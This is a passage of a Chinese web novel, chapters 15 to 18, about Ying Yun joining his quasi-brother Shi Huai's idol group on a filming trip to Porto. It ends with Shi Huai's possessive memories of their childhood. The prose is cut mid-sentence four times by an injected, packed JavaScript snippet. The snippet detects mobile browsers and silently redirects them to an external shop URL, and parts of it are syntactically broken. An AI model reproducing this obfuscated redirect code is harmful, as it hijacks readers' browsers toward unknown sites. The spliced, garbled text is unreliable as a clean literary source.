可想想也是。他早就不是跑出门就找不着回家的路的小孩子了,被时淮管习惯了才会觉得谈个恋爱是多不得了的大事。其实说一声就行,哪里用得着这么瞒着。 还给瞒漏了。 “……哦。”他吃着果冻,心不在焉地说,“知道了。” 时淮没骂他。他却也并没有想象中那样松一口气,心里总郁着闷儿。想来想去,他这么郁闷还是因为第一次失恋,没有心理准备也没有应对的经验,总得找个消解的法子才行。 平常玩的朋友里不是没有失恋的,大多是一起去蹦迪喝酒喝到断片,死去活来过几回之后渐渐就淡了。可他觉得自己不至于。 虽然没能跟程识好上,也是失落比伤心更多。再想想以后还是朋友,四舍五入没失去什么,就更觉得不至于了。 晚上他只叫了甄焕一起出来喝酒,喝上头之前就自己把自己开解完事,纯纯只是走了个失恋的流程。 “不过我感觉,我哥好像不想管我了。” 气氛到这儿了,也不能白来一趟。他趴在吧台上给自己找点别的愁发一发,“怎么办啊。我又没有老婆,以后谁管我,我喝多了死外边儿都没人知道。” “诶,别这么说话。不吉利。”甄焕依旧夹着嗓子,甜美地给他提建议,“不过我可以推荐你一些培养自我管理意识的课程,体验课免费,后续半年班报我名字八折。” “……” 应允说,“你穷得去卖网课了啊?” “总是要生活的嘛。”甄焕开朗道,“不过我觉得你是多虑了。” “咱们认识这么久了,我还不知道嘛,你哥哥关心你比一般的家里当妈的都频繁。你不是妈宝男……也算是半个哥宝男了,他不会舍得让你死外面的。” “说的也是。”他也只是象征性地愁一句,没有再多说。 长大以后他就不喜欢在别人面前提时淮了,自己也不知道为什么。明明小时候还很爱显摆自己有个哥哥。 或许是因为渐渐地意识到了,时淮跟真正的哥哥是不一样的,各种意义上都没有义务护着他。 现在一起长大的情分还在,还好说。万一以后他哪天脑子抽了,做出什么事惹得时淮真的不想再管他,那他还是会变成一个人。 他还是需要拥有自己的老婆! “春天到了,陆地上的小狼狗又迎来了发情的季节。” 甄焕啧啧地陪他喝了酒,还帮他买了单。 他手里没剩多少零花钱了,就没有拒绝。没喝多少,微醺着回到家也还是什么都不想干,各个房间乱逛,到储藏室里看见那辆只用了几天的婴儿车,睹物思人顿时又悲从中来。 他老婆都还没影呢,养孩子的功夫倒是先用上了。 低落的情绪持续了好几天。这晚时淮过来时他自己在闷闷不乐地玩飞镖,躺在沙发靠背上瞄也不瞄就往世界地图上扎。 大周末居然也没出去玩。这个没心没肺的弟弟还是第一次为了谁失意到不想出门的地步。时淮看得皱眉,将事情的严重性在心里扩大了数倍。 同龄人在喝酒抽烟玩早恋的时候,应允在忙着参加集训考美院。学校里追他的小姑娘一抓一大把,只是自己玩性大,没那个心思。好不容易动心,却直接挨了当头一棒,确实是能把人打击得丧失斗志。 “哥?”他自己玩困了,打着哈欠翻了个身,一下午都长在沙发上,短袖躺得皱巴巴的,“你最近不忙啊。” 时淮没事就会过来,不定时也不会提前打招呼,早都习惯了随时看到他哥出现,像回到自己家一样见怪不怪。 “嗯。”时淮走到墙边,望着世界地图思忖片刻,把那只飞镖拔了下来,“你是不是快要找实习了?” “是啊,大三就开始找了。还得交实习证明。”应允懒散地说,“我打算下半年再找,大概找个新媒体公司什么的打两个月的工……” “过来给我打。”时淮说,“实习证明我给你出。” “啊?”他一翻身坐了起来,“打什么?” 时淮也有自己的工作室,手底下养着几个小艺人。他原先好奇过,不过他哥不怎么愿意他掺和娱乐圈的工作,所以那个工作室他只去过一次,连有些什么职能部门都不太清楚。 “外景拍摄,不嫌累就跟我去。”时淮靠在墙边,语气稳妥得一点听不出是临时起意,“去波尔图拍一个旅行节目。我帮你要一个助理的名额,到时候跟着扛摄影机。” “行啊。”应允毫不犹豫地答应。四舍五入也是出去玩了,还有这种好事。 时淮说,“那就这么办。时间大概一个月,学校那边你自己安排,需要我出面就说。” 他看着沙发上那坨丧气的弟弟又支愣起来,听见要去国外玩精神瞬间回满了大半,果断地一锤定音。 “下周出发。” ** 去波尔图旅行的日程来得比较突然。应允跟学校请好了假才知道,拍摄是包含August全员。 他们团每年都会有固定的一档团综录制,其他的就很少会有全员参加的节目。也是这么多年打拼出头了,每个人身价都涨得很离谱,除了颁奖典礼和红毯,很难同时把八个人都请全。 这次去国外旅行,还能有一大票帅哥陪玩,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595687|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想都让人心情明媚。应允处理好学校的事,准备回家收拾行李,路过嘉园路时瞄见那面被他遗忘了许多天的涂鸦墙,顺道过去看了看墙角。 多日不见,墙上的涂鸦又有不少变化。他上次那一小块涂鸦也被人盖了。不只是他的被人盖了,整面墙的小涂鸦都被一整幅巨大完整的构图完美盖住。清新又浪漫的画风很眼熟,又一次刷新了他的心情。 落款依旧是那个tea。他已经第三次见到了。 今天手边没什么工具,墙上那幅他看着也挺喜欢,没舍得盖。要盖只能等旅行回来了再说,这么大面积可得费些功夫。 他拍了张照,发给关潼,顺便说自己要去波尔图的消息。 “怎么忽然去那么远啊。”关潼说,“我昨天还问我哥有没有单身的弟弟能介绍给你呢。” “得了吧你。以后给我介绍之前能不能先调查一下?那些个有暗恋对象的直接排除,免得我又错付真心来晚一步。” “啧,世事难料嘛。你去波尔图该不会是为情所困,去疗伤的吧?” “一半一半。” “好家伙,那祝你旅行里能有个艳遇,最好带个欧洲的大帅哥回来。” “等着吧,遇上了给你发照片。”应允想,欧洲大帅哥不知道能不能遇见,但他身边接下来将要出没的帅哥是真不少。 跟八个大帅哥一起走在街上,想想都特别有面儿。 August出道之前他就常去练习室里晃悠,每个成员他都熟,见了面也像对待自家弟弟一样拍他脑袋。出发当天他躲了前面又躲后面,左闪右闪,保持自己的发型和成年人的尊严,“我都多大了,别摸我头了行不行。” 夏老板路过他身边,无情戳穿,“你长到多大,在我们面前也都是个弟弟。” 他之前去国外没去过这么远的。中间要转一次机,飞行时间将近二十个小时。候机室里闲着无聊,带上他九个人又在打游戏。分两拨,他跟他哥还有夏赢许青蓝四排,随机匹配一个幸运的小玩家。 时淮问他,“玩什么?” “跟平常一样呗。” 他拿了辅助陪打,两局下来赢是赢了,但打得有点心不在焉,脑子里总时不时想着关潼说的欧洲帅哥,状态不佳也没什么手感。 连续两波团战后夏赢光荣牺牲在峡谷上路,等待复活时瞄了眼小地图,“卧槽对面过来抓人了,跑跑跑你哥没了快跑!” 应允一个激灵直起了身,祭出今日最强手速,屏幕都快点花了,“哥哥哥哥哥!” “……” 最后三秒,时淮看他奋力挣扎的精神劲儿,有点想笑。 玩游戏到现在少说打了几千场,意识和预判都有,看到对面来人就知道自己大概率跑不了,临死之前放了最后一个技能送他走。 谁能想到这傻弟弟非要留下,再白送对面一个人头。换了别的队友说不定已经开骂了。 应允也不是没看出来,但娱乐局不为输赢,就玩一个自己乐意。直到游戏界面上也弹出“您已阵亡”的提示,他才心满意足地放过手机,“我要跟我哥死在一起。” 16. 第 16 章 屏幕上阵亡的两具尸体相隔不过半步距离,连倒下的方向都是一致的,再配上他的死亡宣言,场面很有些悲壮。 被四排随机匹配进来的幸运路人目睹了这一刻,在聊天频道里打出一个问号。 夏赢乐呵呵地打字:我们家辅助跟打野情比金坚。 许青蓝看准时机,绕路蹲到一个残血的敌人,一通操作把人头收走,满意地眯起眼,“给小乖报仇了。” “谢小许哥!”应允很有眼色地递水拧瓶盖插吸管,一气呵成,“辛苦了,来来来。” “哎,”夏赢指指旁边,“也伺候伺候你哥。” 时淮刚拿起水,闻言眉梢一抬,又放了回去,等着他情比金坚的弟弟再来服务一遍。 应允很上道地给他递到嘴边,笑起来小虎牙的尖角若隐若现,“哥。” 现实里兄友弟恭,游戏里峡谷亡命。后半局游戏一整个大逆风,应允菜得三个哥哥都没能带飞,作为队伍里的老鼠屎完全不敢吱声,提心吊胆打到最后对面团灭一波,险险胜利才松了口气。 许青蓝打呵欠,“困了。” “那不玩了,”夏赢很快地跟着说,“网也不怎么好。” 旅途还有很长时间。飞机上左手边两个小情侣头靠在一起睡觉,应允拿出平板画画,随手起稿画了下来。不知道怎么,画着画着有点羡慕。 他们两个出道之前就在队内公开了,在还不懂事的年纪里一起长大,为同一个目标拼尽全力奋斗过。低谷和高.潮都一起经历过,最耀眼的舞台也一起去过,妥妥是爱情事业双丰收。 不过恋爱谈了这么多年,曝光危机也不是没经历过。每每到了危急时刻就得劳动队长帮忙堵柜门,各种采访里露出的小马脚都是队长打圆场,私下里也是队长亲自开车送他们约会,帮着打掩护躲狗仔。 大冤种队长就是他哥。 当队长最辛苦了,无论哪个成员出了什么问题,都是时淮首当其冲地挨骂。August里就只有时淮没谈过恋爱,收拾的烂摊子却最多。 没准儿就是太心累了,才迟迟不谈感情的。 想到这,他小声问时淮对旁边的小情侣有什么看法。 时淮也看了一眼,简短评价:“一个吃不饱,一个睡不醒。” “……” 谁问这个了。应允心里嘀咕。 他哥真是到处当哥,看谁都跟养孩子似的。 August有八个人,随便两个人排列组合都有cp粉,不过据他所知,只有夏赢和许青蓝这对是真的。时淮练习生时期天天跟一堆帅哥同吃同睡,性别取向卡得这么松的圈子里都没发展出什么关系来,可见是真的铁直了。 应允忽地有些失落,就像刚刚看小情侣靠在一起睡觉感到羡慕一样突如其来,也不知道为什么。 到波尔图时间已经很晚了。十几个小时的飞行结束,大家都只想早点休息,路上聊天也不怎么多。他观察了一路,觉得这个组跟他待过的不太一样。 一般拍综艺为了不浪费经费,恨不得外出的每一秒都录进素材里,嘉宾们也是找梗接梗不间断。但这次跟随的工作人员很少,后面几天大家还会自己手持拍vlog风格的短片记录,比起为了节目拍摄而来国外取景,更像是一群朋友来旅行顺便拍摄。 除了节目定位本身是节奏悠闲的慢旅行之外,他只能想到这样的原因是他哥这个团全是前辈,不用再像新人一样有意地制造节目效果争取镜头份量,自己玩儿舒心了就行。 节目组租了一整栋度假别墅,离市中心不远,还有公用的厨房和小花园,一帮人带器械都有地方安置。 分房间时他还是跟时淮一起住。一间房里两张床,一张床理所应当地用来扔行李和衣服,他洗漱干净后率先钻进被窝,“明天要早起吗?我们几点出门。” 要是他纯粹跟团来玩儿,自己随时想逛都行,睡到什么时候起床时淮也不大管他。但这次来顶着个实习的招牌,他还是得跟随大部队行动的。 “八.九点钟。出门会叫你,放心睡。” 他躺得四仰八叉。时淮把他卷在被子里抱到一边,又拿了床新被子过来,说他只要跟着玩就行,也不用怎么扛摄像机。 “那多不好啊。” 应允从被子卷里冒出脑袋,一本正经地强调,“我可是来实习的。” “嗯。”时淮关了床头灯,掀开被子躺下,嗓音淡淡的,“摄影组五点出去拍日出。你想跟着去出外景?” “……” “跟我可以八点起床。” 身侧的声音没半秒迟疑,“那我跟你。” 波尔图时间慢七个小时,国内这会儿天都已经亮了。时差没倒过来,虽然累但是不困,他往旁边的被子上挪了挪,靠过去找时淮唠嗑,“哥,我们好像很久没一起跑这么远了。” 高中时他课程紧,还要参加封闭式集训,前十几年不怎么热爱学习的人发奋图强想一次考上美院,费了很大的劲,哪有功夫再往外跑。 上大学后他是有空了,可时淮又总是日程很满,只有休息时偶尔来见一面,每次都只有一两天,算算是很久没一起出来玩过了。 “以前上高中的时候,你还来学校给我送过吃的。”他怀念地说,“我们班的小姑娘老是偷偷跟着我到校门口,还跟我套近乎,就为了看你。” 时淮没出道的时候就长着一张未来大明星的脸。那会儿高中封闭式管理,里面的学生不让出,外面的车啊人啊也一律不让进。有些心疼孩子的家长就会买好吃的送到校门口,隔着校门递过去,场面堪比探监。 他明明是个走读生,中午和晚上放学之后都能离开校园,想吃什么也可以自己买,时淮还非要给他也安排一趟“探监”仪式。那天校门口热闹非凡,他被叫过去压力也很大。毕竟旁边无论是被探视的学生,还是来探视孩子的父母,全在看他哥。 时淮说,“别人父母都去送吃的,你不眼馋?” 他怎么不眼馋,可是他没爹没妈的,馋了能去跟谁说。 幸好他还有一个哥哥。 “……哥。”他终究还是忍不住问了出来,“以后你要是有了对象,会不会就没心思再对我这么好了?” 他总是担心自己像个名不正言不顺的拖油瓶。可能是一下子意识到时淮到了成家的年纪,这种潜在的危机感也被激发出来,想听点“我不会抛弃你,只是多一个人来爱你”之类的话求个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595688|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安心。 可时淮停顿了很久才回答,也只是简短地说,“不会。” 应允闷闷地应了一声,“噢。” 他知道时淮说的话向来都很算数,但那段沉默的时间,冲淡了承诺原本应该带来的安心。就好像他哥确实有在考虑要不要丢掉他一样。 他很想立刻再要一个拥抱。 但他最终什么没有说。 隔天早上起床时头昏脑胀,他看着镜子里的自己,感觉脸都水肿了一圈。 许青蓝叼着牙刷路过他身边,顺手捏了捏他的脸,“待会儿喝杯黑咖啡就好啦。” 时淮还说要叫他起床,结果是最后一个醒的。下楼时咚咚咚动静很大,急促得像带着起床气,直到站在最后一段楼梯看见他在厨房倒咖啡,脚步才放缓了。 “啧,跟你说还不信邪。”夏赢敲着桌子,“快点快点,愿赌服输。” 时淮走到餐桌边,一大早就被哀怨地瞪了一眼,看着应允打开微信转账,“赌了什么?” “赌你是不是最后一个起床。” 许青蓝捧着热牛奶摇头,慢吞吞地说,“唉。我说了不要欺负小乖,还说了不要跟赢赢打赌。他们两个,没一个人听我的。” “……” “你跟夏赢打什么赌啊,他就起了个不会输的名字。” 应允负气地鼓了下腮帮子,还没转头,一只健硕有力的胳膊架到了他肩上,跟着爽朗的笑声响起,“再说了,你哥出外务十次有八次都是最后一个起床的。你不知道?” 秦炽揶揄地搂着他的脖子晃了晃,“我们小乖都长这么高了。” 秦炽常住在国外,有自己的音乐工厂和家人要陪伴,近些年很少回到国内活动,跟他一年半载也见不上一次面。 应允躲了一下没躲开,被沉甸甸地压着,皱起个脸,“我不知道啊。我又没跟你们一起出来过。” 时淮在家里倒是经常起不来床。但他在外面可是队长,还以为会是以身作则挨个叫醒弟弟们的那种呢。 是他草率了,对公主殿下不能抱太大希望。 时淮接了杯咖啡,不动声色地把那条肌肉发达的胳膊从他肩上拎开,抬起他的下巴看了一眼,“这什么表情?输了多少我给你。” “不用。”应允郁郁寡欢地扭开脸,很少见地看他哥不太顺眼。 一大早就让他赌输了钱,昨天晚上还认真犹豫要不要把他给丢了。 越想越气。 吃完早餐要分组出去拍摄,出发前各种准备工作,吵吵闹闹的。他主动提出,“我想跟小许哥。” 一屋子人莫名安静了,不约而同地望过来,看的却不是他,而是距离他几步之遥的时淮。 一片若有所思的目光中,许青蓝安然道,“好呀。记得多拍左脸,我左脸比较上镜。” “……” 时淮什么都没说。应允一个编外人员纯纯是来当小跟班,随便帮帮忙都行,也没人会介意他跟哪一组走。 夏赢抛着团戒过来打听情况,撞了下他的肩膀,“别扭什么呢小允子。” 应允假装认真地擦镜头,难得叛逆,却连头都没敢抬,“反正我今天……不想跟我哥一起走。” 17. 第 17 章 “友情提示,还是别跟你哥对着干比较好。”夏赢慢条斯理地把团戒旋进尾指指根,故意恐吓他,“否则这异国他乡人生地不熟的,把你扔在这儿你可就回不去家了。” “我自己也能回去的好吗。” 他不服气地哼了一声,注意到夏赢手上的新团戒。铂金的戒圈,在早晨的光线里一闪一闪地发亮。 “想要啊?” 夏赢大方地摘下戒指扔给他,“戴着玩儿吧。我那还有。” 从出道时起,每逢团队活动时August集体都会戴上团戒,已经是不用安排也心照不宣的默契。款式每过一年就会更新设计,不仅成员们有,也推出了限量周边,向来都是粉丝们掐着表抢预售的年度热门。 时淮家里专门有个抽屉,用来收藏出道以来所有款式的团戒,他见过好多次。今年的款式他还是第一次见,融入莫比乌斯环的造型,又像代表了无限的符号∞,设计简洁,有种返璞归真的意味,“跟出道第一年有点像,是为了首尾呼应吗?” “对,前几天才刚做出成品来。”夏赢意外地看着他,“你还真是August一级学者啊,连初版团戒的设计都记得。” “那是。” 应允打量着戴在自己手上。戒圈尺寸不能调,他戴小尾指太松,中指就刚好。转头四下里打量了几眼,果然成员们手上都不约而同地戴了团戒,正好他也混入其中,过把男明星的瘾。 目光游移的范围之内,时淮把团戒戴进无名指修长的骨节,转了半圈,毫无预兆地抬眼看向他。 视线相接的瞬间,应允立刻低下头,心虚般继续摆弄相机。 当着这么多人的面儿,时淮不会动手收拾他,晚上回来就未必了。 这事是他理亏,昨晚在床上才答应过的话今天就不算数了,妥妥言而无信的渣男。可是他心里别扭,不说出来憋得慌,说出来又显得他小气。索性先离时淮远点,眼不见为净。 他对自己是什么德性很有些清晰的认知,待会儿去外面看到好吃的好玩的,肯定很快就会被转移注意力。 等心里不别扭了,晚上回来再看见他哥也就顺眼了。到时候撒娇讨饶来一波,实在不行就挨顿打,反正他扛揍,总比一整天都心气不顺来得强些吧。 他这么打算着,临出门才被告知分组,“队长和秦炽哥,还有赢赢和我,我们四个是一组走的。” 许青蓝云淡风轻地告诉他,“你拍我的时候顺便也可以拍一下你哥,他右脸好看。” “……” 哪边脸好看暂且不论。应允头皮发麻,“你们都跟我哥要一起走?怎么不早说。” 队内小情侣在录节目需要分组时经常两个人一起行动,打着营业的幌子约会。他为了避开时淮都打定主意去当电灯泡了,结果是四个人一起走。 “你也没有问我呀。” 许青蓝恍然大悟,“原来你是不想跟队长一起走才说要跟我的?唉,我还以为是他嫌你拍照技术不行呢。” 这差别可就大了。 他哭丧个脸,“我还能再换个人跟拍吗。” 怪不得时淮一句话也没说,看着他自作聪明瞎蹦跶。 原来蹦来蹦去也逃不开他哥身边。 秦炽拿了顶帽子顺手压在他头顶,笑眯眯地招呼他,“走啊乖乖。” 他眼前一暗,遮挡视野的帽檐只一瞬便又消失不见。时淮经过他身边,眼都不眨地掀了他头顶的帽子,挂在指尖转了半圈,摁到秦炽脑袋上。 “哎。”秦炽眼疾手快挽救了一下自己早上刚做的发型,听见他沉声命令。 “跟上。” “……哦。”应允对号入座,下意识地抬脚去跟。又忍不住摸了摸自己的脑袋,有种错觉被掀掉的不是帽子而是他的头盖骨。 “你们兄弟俩怎么回事啊,昨天晚上吵架了?” 秦炽走在他身边,也上手揉了两把。他今天头发上什么都没喷,是一只顺毛小狗,发质柔顺亮泽看起来就很好摸。 他躲了一下,“没有吵架。” “那是因为早上打赌输了?不至于吧。” “哎呀,不是。” 他敷衍着加快脚步走到时淮身侧,前后脚上车。时淮习惯坐最后一排,他也跟着坐到相邻的座位,试探着开口,“哥。” 时淮戴上耳机,没什么特别的表情,“等收工回来再说。” 话刚起了个头被堵了回来。应允语塞半晌,又厚着脸皮提要求,“那你能不能分我一只啊?我没带耳机。” 时淮没理他。他又黏近了些,肩膀贴着肩膀哼哼唧唧,“给我一只嘛,小鱼哥哥,我也想听歌。” 大巴车缓缓启动,车笛和油门震得嗡嗡响,前排的成员们三三两两坐在一起谈笑闲扯。最后一排却是独立安静的小角落——原本应该是安静的。 耳边磨人的撒娇一声连着一声,激得颈侧的皮肤泛起一层隐秘的红。时淮被缠得不耐烦,单手绕过他的后腰,从他右边口袋里扯出一团耳机线扔他手里,“你带了。” 应允:“……” 他哥连他平时耳机放哪边兜里都一清二楚的。“我想听你的歌单嘛。我想跟你听一样的歌。” 时淮说,“怎么不去跟许青蓝听一样的?” “……” 就知道是在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595689|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿等着呢。 有情绪好啊,比琢磨不透的心思强得多。应允把耳机线往兜里一揣,用摊牌了的语气说,“哎呀好了我承认了!我就是早上输了打赌心里不痛快,我玩不起,所以故意说那么一句想气气你。” 这也是导火索之一,就当个借口摘出去得了。真正让他一晚上没睡好的原因太没出息,他打死都不会说。 可明明是时淮先惹他不高兴的,怎么到头来又变成他来哄时淮? 事情发展到这一步真是太没道理了。他磨了磨牙,示好伴着示威,撒娇与耍赖齐头并进,“限你三分钟之内给我转五百块填平赌资,不然明天也不跟你。” “……” 时淮摘下耳机,终于舍得转头看了他一眼,指腹按在手机屏幕上解锁。 “零花钱用光了怎么不告诉我?” 应允一愣,没想到他忽然说到这,支支吾吾地回答,“前几天我朋友不是来明海玩儿了么……我也没想到用这么快。” 其实他没觉得自己缺钱花,即使账户上数字清零也还有信用卡。时淮当面给他先转了五千,又说,“你的存款大部分都是定期,几个理财账户回国之后我也都会交给你,以后你的资产要学着自己打理。” 应允看着进账的零花钱还没来得及高兴,听到这话脱口而出,“那你不管我了么?” 时淮顿了顿,“我总不能管你一辈子。” 这句话太伤人了。 应允脑袋里嗡的一声响,简直不敢相信是从他哥口中说出来的。 他哥是控制欲那么强的人,连他以后结婚生几个小孩死了埋在哪都会替他安排的。昨天晚上虽然犹豫了,可还是没说不管他的啊,怎么睡了一觉今天就要彻底放弃他了? 有一瞬间他觉得身边的人很陌生,怀疑时淮是不是被夺舍了。有个奇怪的灵魂钻进他哥的身体里想要冒名顶替,可演技拙劣,一下就被他看了出来。 如果这五千块钱是现金,他一定会扔到时淮脸上,大声骂里面的鬼东西滚出他哥的身体。 然而三秒过去,离奇的念头从脑海中褪去,他伤心地接受了现实,“好,没关系,你不用管我了,我自己也可以去街上捡垃圾吃。” “……” 猛然遭遇打击的小狗垂头丧气。明知道不是谈话的时机,时淮说出口心里已有悔意,刚要解释,却又听见他幽幽地开口,“你以为我会这么说吗?” 应允朝他呲了呲牙,威胁般露出一口白森森的利齿,“你要是敢不管我,回国以后我就把所有钱都提出来全部花光,然后去找富婆包养。” “她们问我是谁,我就说是时淮的弟弟。” 18. 第 18 章 时淮忽然笑了。 他私底下很少这样笑,大多数时候笑意都蕴在漆黑的眼底,不形于色。可应允分明看见了他上翘的眼尾,露出一口整齐的洁白牙齿,犬牙尖尖的和弟弟很相似。斑驳的光隙透过车窗,从他脸上一晃而过的明亮犹如神启。 就像不明白他为什么有时候会为一些小事生气,应允也同样不明白,为什么时淮忽然就又高兴了,把摘下的那只耳机塞进他耳朵里,“好。” 好什么好。 愣神的功夫,他被冲进耳道的摇滚乐震得一麻:“Oasis?” “嗯。” 耳机里在放绿洲乐队的《Don\''t Look Back In Anger》,没想到他哥坐的四平八稳,听的是这么闹腾的歌。 Slip inside the eye of your mind (窥视你的内心) Don\''t you know you might find (你知道吗,你或许会找到) A better place to play (一个更美好的地方) 时淮的声音穿过音乐传来,“还是放过富婆吧,我丢不起那个人。” “什么意思啊?” “不会不管你的。” 别扭到现在,等的好像也就是这么一句话。 应允嘁了一声,不情不愿好像应得很勉强,跷着二郎腿的那只脚却跟着鼓点一顿一顿,悬空打起拍子来。 I\''ll gonna start the revolution from my bed (我要从梦中醒来) Cause you said the brains I had went to my head (因为你们说我的思想已经冲昏了我的头脑) “我不想自己管钱,太麻烦了,懒得操那份心。”哥哥牌提款机还没用够,他追加要求,“还不如你继续帮我管着,等我想用钱了就找你要。” 时淮不置可否:“就不怕我把你的钱都挪用亏空干净吗?” “那我们到时候就一起去街上捡垃圾吧。”应允愉快地说。 Step outside the summertime\''s in bloom (去外面看看花香馥郁的夏日) Stand up beside the fireplace (仿佛站在温暖的炉火旁) Take that look from off your face (别摆着你那副表情) Cause you ain\''t ever gonna burn my heart out (你永远无法浇灭我热情的心) 就像想知道他为什么会因为一件小事莫名其妙地生气,时淮同样想知道,他为什么会因为一句话就开心得摇头晃脑。 他有个爱笑的弟弟。天生就这样,见谁都笑,特别讨喜。 他小时候觉得应允笑起来跟小金很像——那只曾被他抱在怀里睡觉的马尔济斯犬,会在他回家时叼着拖鞋到门口迎接,天真烂漫地朝他摇尾巴。 后来应允也会在他怀里睡觉,会帮他拿拖鞋。他并不是个像样的哥哥,会在弟弟睡着后故意捏红他柔嫩的脸蛋,把拿到面前的拖鞋用力踢到一边。 在很长的一段时间里,他出奇地厌恶一切令人愉快的事情发生。他想看那张总是带着笑的小脸挂上泪,想看着应允跑去跟假装慈爱的继父告状,想看时牧桓勃然大怒,然后顺理成章地离开畸形的家,再也不回来。 但应允跑到继父面前,说出的话是哥哥的拖鞋旧了,应该再买几双。还问他是不是不喜欢儿童沐浴露的柠檬牛奶味,洗澡时偷偷用小金的洗发水。 他知道应允为什么努力地讨好他,无非是想给应小蝶好日子过。但那个女人根本不配。结婚一年后她就婚内出轨,跟所谓的初恋偷情并宣称寻回真爱,被时牧桓发现后协议离婚,在办完手续当天,急着去机场见真爱的路上出了车祸。 送进ICU时人还有一口气。他跟着时牧桓到医院照看应允,终于如愿见到了一张挂着鼻涕眼泪的小脸,心情却一点都算不上畅快。 他温柔地安慰说妈妈会没事的,心里却恶毒地希望里面的女人快点咽气。 把这只忠心耿耿的小狗留给他。 只属于他。 “还要多远啊哥。”应允打了个哈欠,靠在他肩膀上自顾自地闭眼休憩。 时淮回过神望向车窗外,正在经过路易一世大桥,杜罗河的美景尽收眼底,远处大片砖红色的屋顶和白墙,河水被天空映照成心旷神怡的湛蓝,前排几个人都在举着手机拍照。 时淮没有叫醒犯困的弟弟,“睡吧,到了叫你。” 还有许多天时间闲逛,看风景也不用着急。 他前一晚没睡好,十来分钟的打盹后精神振奋了很多,下车后又开始活蹦乱跳,“哥,看我这儿,哎你能让那只鸽子飞你手上吗?” “……” 看这情形是矛盾解决了。秦炽逗他,“不是说你要拍小许吗?” “哎呀一个一个来,”他举着相机嘿嘿地笑,透出一股子又傻又机灵的鲜活生气,“今天看到的帅哥我一个都不会放过。” 今天上午的拍摄在一辆双层观光巴士上,红色的车身有荧光涂鸦,蓝天白云还有阳光,在上层露天座位拍照超级出片,沿途还可以欣赏异国城市风景。 应允记着自己是来实习的,感觉摄影组的大哥们都不怎么用得上他,就自己找位置给几个哥哥拍照,好歹忙活一下有个作品可交差。 今天天气着实不错,阳光明媚。优越的骨骼轮廓总是被光影偏爱,换个角度就是另一种帅法,按下去的快门不存在一次浪费,怎么拍怎么出片。 也可能是他拍照技术太优秀了,应允自信地想。除了他还去哪里找这么会拍照的弟弟。 空车座上映着完美的人影,侧脸轮廓得像是一笔勾画的流畅线条。阳光偏移,连浓密纤长的睫毛都被投影得清晰分明,他抓住时机拍了一张,看图识人。 August里著名的睫毛精一个是许青蓝,另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595690|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个就是队长时淮。今天许青蓝的造型戴了眼镜,影子里却没有。综上所述这是他哥。 他的视线从取景框缓慢上移,正对上时淮望过来的目光。 拍摄告一段落。大明星换了更慵懒不羁的姿势,手肘搭在椅背上,拿起墨镜遮挡阳光,叫他傻笑的弟弟,“拍了什么,拿过来我看看。” 观光路线全程一个多小时,节目组却只拍了一半。后半段大家纯纯是在当游客放松欣赏风景,应允还感叹了这个组真幸福,工作进度宽松自由,妥妥公费旅游。 他们在杜罗河畔的露天餐厅吃午饭。波尔图是个港口城市,沿岸的餐厅和咖啡馆繁多,很多欧洲人都来这里旅游度假,氛围悠闲宁静。有街头艺人在演出,小孩子只穿了一条短裤玩水,湿着头发跑来跑去地伴舞。 几个哥哥都在品尝本地久负盛名的波特酒,应允掏出了自己的祖传柠檬茶。 “尝尝嘛,”许青蓝给他倒酒,“小允也到了可以喝酒的年纪了。” 他高中毕业就开始跟朋友去酒吧刷夜了,哪里是不会喝酒,是不好意思当着哥哥们的面喝。 “下午不是还得拍摄么。”他谦虚地摆摆手,“我不行,太容易上头了耽误工作。” “啧,你装什么装。”夏赢无情戳穿,“上次还发朋友圈说要把谁喝到抱着马桶睡来着。” “……” 秒删的朋友圈怎么也能被瞧见。应允心虚地清了清嗓子,瞄着时淮说,“我同学过生日那回啊,玩得有点忘形了。平时不那样。” 时淮没跟他计较,反倒大方道,“喝吧,下午不拍了。” 这是什么神仙节目组,干半天玩半天。 应允佩服地举杯,还说了句祝酒词,“希望你们以后都遇上这么有良心的甲方。开心工作。” 